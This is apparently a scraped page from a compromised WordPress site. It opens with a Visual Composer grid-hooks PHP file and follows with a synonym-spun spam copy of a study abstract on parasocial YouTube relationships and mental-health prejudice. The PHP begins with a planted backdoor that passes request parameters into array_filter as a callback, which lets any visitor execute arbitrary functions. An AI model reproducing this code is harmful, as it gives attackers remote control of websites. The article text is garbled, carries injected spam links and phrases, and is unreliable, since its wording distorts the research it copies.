?php if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}; if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } /** * Class Vc_Hooks_Vc_Grid * @since 4.4 */ class Vc_Hooks_Vc_Grid implements Vc_Vendor_Interface { protected $grid_id_unique_name = 'vc_gid'; // if you change this also change in vc-basic-grid.php /** * Initializing hooks for grid element, * Add actions to save appended shortcodes to post meta (for rendering in preview with shortcode id) * And add action to hook request for grid data, to output it. * @since 4.4 */ public function load() { // Hook for set post settings meta with shortcodes data /** * @since 4.4.3 */ add_filter( 'vc_hooks_vc_post_settings', array( &$this, 'gridSavePostSettingsId', ), 10, 3 ); /** * Used to output shortcode data for ajax request. called on any page request. */ add_action( 'wp_ajax_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); add_action( 'wp_ajax_nopriv_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); } /** * @since 4.4 * @deprecated and should not be used and will be removed in future! since 4.4.3 * @return string */ private function getShortcodeRegexForHash() { // _deprecated_function( 'Vc_Hooks_Vc_Grid: getShortcodeRegexForHash method', '4.4.3', 'getShortcodeRegexForId' ); $tagnames = apply_filters( 'vc_grid_shortcodes_tags', array( 'vc_basic_grid', 'vc_masonry_grid', 'vc_media_grid', 'vc_masonry_media_grid', ) ); // return only grid shortcodes $tagregexp = implode( '|', array_map( 'preg_quote', $tagnames ) ); // WARNING! Do not change this regex without changing do_shortcode_tag() and strip_shortcode_tag() // Also, see shortcode_unautop() and shortcode.js. return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . "($tagregexp)" // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . ')' . '(?:' . '(\\/)' // 4: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 5: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 6: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * @since 4.4.3 * @return string */ private function getShortcodeRegexForId() { return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . '([\\w>]+)' // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . '(?:' . '(' . $this->grid_id_unique_name // 4: GridId must exist . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')+' . ')' . ')' . '(?:' . '(\\/)' // 5: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 6: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 7: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * Set page meta box values with vc_adv_pager shortcodes data * @since 4.4 * @deprecated 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array - shortcode settings to save. */ public function gridSavePostSettings( array $settings, $post_id, $post ) { // _deprecated_function( 'Vc_Hooks_Vc_Grid: gridSavePostSettings method', '4.4.3 (will be removed in 4.10)', 'gridSavePostSettingsId' ); $pattern = $this->getShortcodeRegexForHash(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[3] ) && is_array( $found[3] ) ) { foreach ( $found[3] as $key => $shortcode_atts ) { if ( false !== strpos( $shortcode_atts, 'vc_gid:' ) ) { continue; } $atts = shortcode_parse_atts( $shortcode_atts ); $data = array( 'tag' => $found[2][ $key ], 'atts' => $atts, 'content' => $found[5][ $key ], ); $hash = sha1( serialize( $data ) ); $to_save[ $hash ] = $data; } } if ( ! empty( $to_save ) ) { $settings['vc_grid'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array */ public function gridSavePostSettingsId( array $settings, $post_id, $post ) { $pattern = $this->getShortcodeRegexForId(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid_id'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[1] ) && is_array( $found[1] ) ) { foreach ( $found[1] as $key => $parse_able ) { if ( empty( $parse_able ) || '[' !== $parse_able ) { $id_pattern = '/' . $this->grid_id_unique_name . '\:([\w>]+)/'; $id_value = $found[4][ $key ]; preg_match( $id_pattern, $id_value, $id_matches ); if ( ! empty( $id_matches ) ) { $id_to_save = $id_matches[1]; // why we need to check if shortcode is parse able? // 1: if it is escaped it must not be displayed (parsed) // 2: so if 1 is true it must not be saved in database meta $shortcode_tag = $found[2][ $key ]; $shortcode_atts_string = $found[3][ $key ]; /** @var $atts array */ $atts = shortcode_parse_atts( $shortcode_atts_string ); $content = $found[6][ $key ]; $data = array( 'tag' => $shortcode_tag, 'atts' => $atts, 'content' => $content, ); $to_save[ $id_to_save ] = $data; } } } } if ( ! empty( $to_save ) ) { $settings['vc_grid_id'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4 * * @output/@return string - grid data for ajax request. */ public function getGridDataForAjax() { $tag = vc_request_param( 'tag' ); $allowed = apply_filters( 'vc_grid_get_grid_data_access', vc_verify_public_nonce() && $tag, $tag ); if ( $allowed ) { $shortcode_fishbone = visual_composer()->getShortCode( $tag ); if ( is_object( $shortcode_fishbone ) ) { /** @var $vc_grid WPBakeryShortcode_Vc_Basic_Grid */ $vc_grid = $shortcode_fishbone->shortcodeClass(); if ( method_exists( $vc_grid, 'isObjectPageable' ) && $vc_grid->isObjectPageable() && method_exists( $vc_grid, 'renderAjax' ) ) { echo $vc_grid->renderAjax( vc_request_param( 'data' ) ); die(); } } } } } /** * @since 4.4 * @var Vc_Hooks_Vc_Grid $hook */ $hook = new Vc_Hooks_Vc_Grid(); // when visual composer initialized let's trigger Vc_Grid hooks. add_action( 'vc_after_init', array( $hook, 'load', ) ); if ( 'vc_edit_form' === vc_post_param( 'action' ) ) { VcShortcodeAutoloader::getInstance()->includeClass( 'WPBakeryShortCode_VC_Basic_Grid' ); add_filter( 'vc_edit_form_fields_attributes_vc_basic_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); } Parasocial relationships towards the YouTube lose prejudice towards mental health things - Groupe-SLG

Kameda-honchō Groupe SLG

Parasocial relationships towards the YouTube lose prejudice towards mental health things

Recrutement :

http://toastmeetsjam.com/date-ideas/10-ways-show-love-valentines-day/ Parasocial relationships towards the YouTube lose prejudice towards mental health things

Ana Matran-Fernandez

step 3 Head-Pc Connects and you will Neural Engineering Laboratory, College out of Computer Technology and you can Electronic Engineering, College of Essex, Colchester, CO4 3SQ Uk

Related Study

The fresh datasets generated and you can analysed during the latest data, additionally the password had a need to replicate our abilities, come in the Open Technology Design (OSF) databases,

Abstract

Intergroup get in touch with is certainly centered in order to eliminate bias among community, but in-person treatments is financial support intense and you may restricted inside come to. Parasocial matchmaking (PSRs) might navigate these problems because of the reaching high viewers with minimal information and now have been proven to help reduce prejudice within the a lengthy sort of contact theory. not, earlier in the day studies have shown inconsistent profits Korece gelin. We examined whether or not parasocial interventions get rid of prejudice with the individuals with intellectual health problems of the earliest starting a unique PSR with good YouTube journalist revealing their enjoy having borderline character illness. The input effectively less explicit bias and you may intergroup nervousness. I substantiated these effects thanks to causal analyses, in which all the way down bias levels was in fact mediated by the energy of parasocial bond. Original findings advise that this lower prejudice are sustained throughout the years. Our abilities contain the parasocial get in touch with theory and offer a natural method of passively treat bias on the an enormous scale.

Addition

We usually means associations with individuals that unacquainted with our very own lifestyle, and influence how we act. Such one to-sided emotional ties are known as parasocial matchmaking (PSRs) step one . We quite often build these with real or imaginary rates that people never actually interact with, eg tv characters and celebs. Within these PSRs, we obtain to learn aim who unidirectionally divulge advice in order to public of watchers, with techniques that simply cannot end up being meaningfully returned. Having imaginary plans (age.g., guide emails), reciprocation was hopeless. Getting non-fictional anyone (e.grams., newscasters and you may superstars), on the web tech provides unprecedented knowledge that make us understand them just like the family members, as they will never sense our care about-revealing once we experience theirs. Lookup on parasocial links shows one to PSRs can see our affective, behavioural, and intellectual means much like traditional bidirectional relationships 2 : they generate all of us become smaller alone step three , dictate our very own to shop for behavior cuatro , and in addition we actually absorb themselves characteristics to the self 5 . However, tricky this new limitations off what parasocial ties are known to lead, can be the newest unidirectional revelation of PSRs getting utilized to get more generous change, particularly cutting social bias?

Bias was a negative investigations away from other people centered on group subscription six . Offered that it intergroup feelings, ingroups is seriously recognized and outgroups try seemingly devalued if in case grade off variations exist. According to get in touch with principle, mutual social contact can effortlessly cure prejudice seven , given that revelation expands observed similarity to generate reciprocal trust 8 . For this reason, it appears to be reduced fathomable one unidirectional disclosure away from an effective parasocial address you will definitely contribute to prejudice prevention. At the same time, news have enough time starred a job for the shaping personal viewpoints, including youngsters’ reveals eg Sesame Path 9 . Even with beliefs being very resistant to alter, mass media influence normally aired norms, convince an empathy that’s generalisable to an individual’s genuine-world society ten , and relieve public point and avoidance regarding outgroups, because of the highlighting intergroup distinctions 11 .

From inside the a low-randomised correlational data, improved parasocial interaction which have gay sitcom emails predicted lower homosexual bias and you may an extended parasocial get in touch with hypothesis was advised, purporting one parasocial telecommunications could possibly get get rid of bias during the equivalent an easy way to get in touch with concept 12 . Causality is actually supported inside a similar data you to replicated the brand new context out-of heterosexual television characters, where parasocial telecommunications is actually discovered to minimize sexual prejudice thirteen . Our search stimulates throughout these education which have a fresh design determining parasocial intervention relating to non-fictional social networking. Further, causal studies methods are acclimatized to determine if or not PSR electricity especially ‘s the apparatus functioning that it dictate, supporting findings in traditional mass media contexts 13 . This adds novel understanding on the world of parasocial treatments, as the regardless if discover studies have searched causal claims of parasocial get in touch with 13 , very prior browse relies on correlations with pre-current parasocial relationship, otherwise just observes old-fashioned media contexts, or measures up prejudice protection potential off additional mass media forms (elizabeth.grams., films versus. journals, otherwise tunes video vs. envisioned contact) 11,14 . Along these lines, our data increases on ‘what’ of prejudice avoidance concept, and you can opportunities towards ‘why’.

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